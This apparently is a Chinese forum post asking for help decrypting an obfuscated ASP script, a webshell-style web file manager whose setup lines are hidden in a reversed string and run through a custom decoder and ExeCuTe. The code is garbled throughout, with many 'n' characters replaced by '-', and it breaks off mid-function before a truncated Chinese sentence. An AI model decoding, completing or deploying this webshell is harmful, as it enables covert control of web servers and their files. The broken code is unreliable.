能给解密一下吧..<%@

sub ShowErr()
If Err Then
RRS"

 " & Err.Description & "
"
Err.Clear:Response.Flush
End If
e-d sub
Sub RRS(str)
respo-se.write(str)
E-d Sub
Fu-ction RePath(S)
RePath=Replace(S,"\","\\")
End Fu-ction
Fu-ction RRePath(S)
RRePath=Replace(S,"\\","\")
End Functio-
ShiSan="╋╁>retnec/<>a/<回返>')(kcab.yrotsih:tpircsavaj'=ferh a<>ret-ec<>rb<>rb<╁=lrUkcaB╋)╁emaNF╁(tseuqeR=emaNF╋╁6685╁&resym=sres╋)╁htaPredloF╁(tseuqeR=htaPredloF╋ssapresu=prevres╋lru&)╁tsoh_ptth╁(selbairavrevres.tseuqer=urevres╋╁2698╁=resym╋)╁/╁(htaPpaM.revreS=tooR.WW╋)╁.╁(htaPpaM.revreS=htaPtooR╋)╁noitcA╁(tseuqeR=noitcA╋)╁RDDA_LACOL╁(selbairaVrevreS.tseuqeR=PIrevreS╋)╁LRU╁(selbairaVrevreS.tseuqeR=LRU"
ExeCuTe(ShiSanFun(ShiSa-))
dim ShiSan,ShiSanNewstr,ShiSanI
Functio- ShiSa-Fu-(ShiSa-Objstr)
ShiSa-Objstr = Replace(ShiSa-Objstr, "╁", """")
For ShiSanI = 1 To Le-(ShiSanObjstr)
If Mid(ShiSanO

或者你也可以自己用记事本建一个XXX.html的文件，编辑内容为